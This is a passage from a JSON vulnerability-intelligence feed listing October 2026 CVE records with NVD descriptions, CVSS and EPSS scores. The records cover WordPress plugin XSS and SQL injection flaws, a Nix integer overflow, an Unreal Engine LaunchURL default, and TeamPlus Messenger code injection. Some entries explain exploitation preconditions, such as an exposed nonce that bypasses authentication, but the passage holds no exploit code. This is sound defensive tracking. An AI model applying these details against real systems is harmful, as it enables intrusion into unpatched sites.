2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93885","cveId":"CVE-2026-93885","aliases":[],"kind":"vulnerability","title":"The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and...","summary":"The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and including, 2.2.13 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because the cdbbc_payment_verify AJAX action is registered under wp_ajax_nopriv_ and its only authentication gate — a nonce check — is bypassable, as the cdbbc_donation_box nonce is publicly exposed to anonymous visitors via the wallets_data JavaScript object emitted by the [crypto-donation-box] shortcode.","detail":"The Cryptocurrency Donation Box – Bitcoin & Crypto Donations plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data_object Parameter in all versions up to, and including, 2.2.13 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because the cdbbc_payment_verify AJAX action is registered under wp_ajax_nopriv_ and its only authentication gate — a nonce check — is bypassable, as the cdbbc_donation_box nonce is publicly exposed to anonymous visitors via the wallets_data JavaScript object emitted by the [crypto-donation-box] shortcode.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:54.973Z","updatedAt":"2026-10-15T17:17:32.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93885","asOf":"2026-10-15T17:17:32.200Z"},"epss":{"probability":0.00392,"percentile":0.33018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93885&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93885","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93885","type":"primary","publishedAt":"2026-10-14T04:18:54.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93885&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93885, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83592","cveId":"CVE-2026-83592","aliases":[],"kind":"vulnerability","title":"The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to...","summary":"The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is echoed unescaped both inside a title HTML attribute and in the table cell body in admin/ecf_index.php; base64 encoding and serialization of the stored values do not neutralize the malicious content.","detail":"The Contact Form DB for Enfold plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form Field Values in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is echoed unescaped both inside a title HTML attribute and in the table cell body in admin/ecf_index.php; base64 encoding and serialization of the stored values do not neutralize the malicious content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:38.893Z","updatedAt":"2026-10-15T17:17:29.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83592","asOf":"2026-10-15T17:17:29.020Z"},"epss":{"probability":0.00309,"percentile":0.2348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83592&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83592","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83592","type":"primary","publishedAt":"2026-10-14T04:18:38.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83592&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83592, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78193","cveId":"CVE-2026-78193","aliases":[],"kind":"vulnerability","title":"The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3...","summary":"The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection fires during identity linking, before ProductController::push() executes, meaning exploitation succeeds even if downstream product handling would otherwise reject the request.","detail":"The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via 'product.push' Identity Endpoint in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection fires during identity linking, before ProductController::push() executes, meaning exploitation succeeds even if downstream product handling would otherwise reject the request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:36.860Z","updatedAt":"2026-10-14T19:17:21.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78193","asOf":"2026-10-14T19:17:21.223Z"},"epss":{"probability":0.00424,"percentile":0.36404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-78193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78193","type":"primary","publishedAt":"2026-10-14T04:18:36.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-78193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-78193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77114","cveId":"CVE-2026-77114","aliases":[],"kind":"vulnerability","title":"The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due...","summary":"The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that logging be enabled in the plugin's Advanced settings, which is only the default state when WP_DEBUG is true; otherwise an administrator must manually enable it.","detail":"The Document Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'dg_thumber_webhook' Action Request Body in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that logging be enabled in the plugin's Advanced settings, which is only the default state when WP_DEBUG is true; otherwise an administrator must manually enable it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:36.537Z","updatedAt":"2026-10-15T17:17:27.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77114","asOf":"2026-10-15T17:17:27.450Z"},"epss":{"probability":0.00309,"percentile":0.23479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77114","type":"primary","publishedAt":"2026-10-14T04:18:36.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110449","cveId":"CVE-2026-110449","aliases":[],"kind":"vulnerability","title":"Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled.","summary":"Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled.","detail":"Nix before 2.35.3 and Lix before 2.95.4 have an integer overflow and resultant out-of-bounds write when evaluating untrusted expressions because list allocation is mishandled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:17.317Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110449","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00249,"percentile":0.1609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110449&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110449","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110449","type":"primary","publishedAt":"2026-10-14T04:18:17.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110449&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110449, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100153","cveId":"CVE-2026-100153","aliases":[],"kind":"vulnerability","title":"The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due...","summary":"The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has placed the [NewStatPress type=\"Top Pages\"] shortcode on a publicly viewable page, and that the attacker's crafted URL accumulates enough hits to appear in the top-N ranking.","detail":"The NewStatPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'QUERY_STRING / REQUEST_URI' parameter in all versions up to, and including, 1.4.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that an administrator has placed the [NewStatPress type=\"Top Pages\"] shortcode on a publicly viewable page, and that the attacker's crafted URL accumulates enough hits to appear in the top-N ranking.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:03.177Z","updatedAt":"2026-10-14T15:17:01.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100153","asOf":"2026-10-14T15:17:01.587Z"},"epss":{"probability":0.00309,"percentile":0.23479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100153","type":"primary","publishedAt":"2026-10-14T04:18:03.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-14765","cveId":"CVE-2026-14765","aliases":[],"kind":"vulnerability","title":"Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL).","summary":"Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL). The URL scheme filter (FURLRequestFilter) is empty by default, which permits all URL schemes. On Windows, this results in a call to ShellExecuteW() with the open verb, so a supplied file:/// URI causes the referenced file to be executed. Any Unreal Engine game that loads user-generated content containing Blueprints is vulnerable to command execution via a malicious local file or a remote file on a WebDAV share. This is an instance of CWE-1188 (Initialization of a Resource with an Insecure Default).","detail":"Epic Games Unreal Engine versions up to and including 5.8.0 ship with an insecure default configuration for the LaunchURL Blueprint node (UKismetSystemLibrary::LaunchURL). The URL scheme filter (FURLRequestFilter) is empty by default, which permits all URL schemes. On Windows, this results in a call to ShellExecuteW() with the open verb, so a supplied file:/// URI causes the referenced file to be executed. Any Unreal Engine game that loads user-generated content containing Blueprints is vulnerable to command execution via a malicious local file or a remote file on a WebDAV share. This is an instance of CWE-1188 (Initialization of a Resource with an Insecure Default).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:21.927Z","updatedAt":"2026-10-18T14:16:54.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-14765","asOf":"2026-10-18T14:16:54.843Z"},"epss":{"probability":0.00387,"percentile":0.32465,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-14765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-14765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14765","type":"primary","publishedAt":"2026-10-14T03:17:21.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-14765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-14765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110445","cveId":"CVE-2026-110445","aliases":[],"kind":"vulnerability","title":"TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability.","summary":"TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into interacting with crafted content to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.","detail":"TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into interacting with crafted content to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:20.527Z","updatedAt":"2026-10-16T16:17:03.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110445","asOf":"2026-10-16T16:17:03.837Z"},"epss":{"probability":0.00584,"percentile":0.47612,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110445","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110445","type":"primary","publishedAt":"2026-10-14T03:17:20.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110444","cveId":"CVE-2026-110444","aliases":[],"kind":"vulnerability","title":"TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability.","summary":"TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into opening a crafted link to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.","detail":"TeamPlus Messenger developed by Teamplus Technology has a Code Injection vulnerability. Unauthenticated remote attackers can trick users into opening a crafted link to inject and execute arbitrary JavaScript. After the user confirms a Windows security warning, attackers can execute arbitrary code with the privileges of the current user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:20.363Z","updatedAt":"2026-10-16T16:17:03.693Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110444","asOf":"2026-10-16T16:17:03.693Z"},"epss":{"probability":0.00584,"percentile":0.47612,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110444&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110444","type":"primary","publishedAt":"2026-10-14T03:17:20.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110444&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110444, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103422","cveId":"CVE-2026-103422","aliases":[],"kind":"vulnerability","title":"The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6.","summary":"The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6. This is due to insufficient input sanitization on the public /wp-json/anycomment/v1/subscribe REST endpoint and missing output escaping in AnyCommentSubscriptionsTable::column_default(), which returns the stored email verbatim into an HTML <td> when the subscription's user_ID does not resolve to an existing WP_User. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the AnyComment → Subscriptions admin page.","detail":"The AnyComment plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in versions up to, and including, 0.3.6. This is due to insufficient input sanitization on the public /wp-json/anycomment/v1/subscribe REST endpoint and missing output escaping in AnyCommentSubscriptionsTable::column_default(), which returns the stored email verbatim into an HTML <td> when the subscription's user_ID does not resolve to an existing WP_User. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the AnyComment → Subscriptions admin page.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T03:17:14.037Z","updatedAt":"2026-10-14T15:17:03.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103422","asOf":"2026-10-14T15:17:03.970Z"},"epss":{"probability":0.00309,"percentile":0.2348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103422&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103422","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103422","type":"primary","publishedAt":"2026-10-14T03:17:14.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 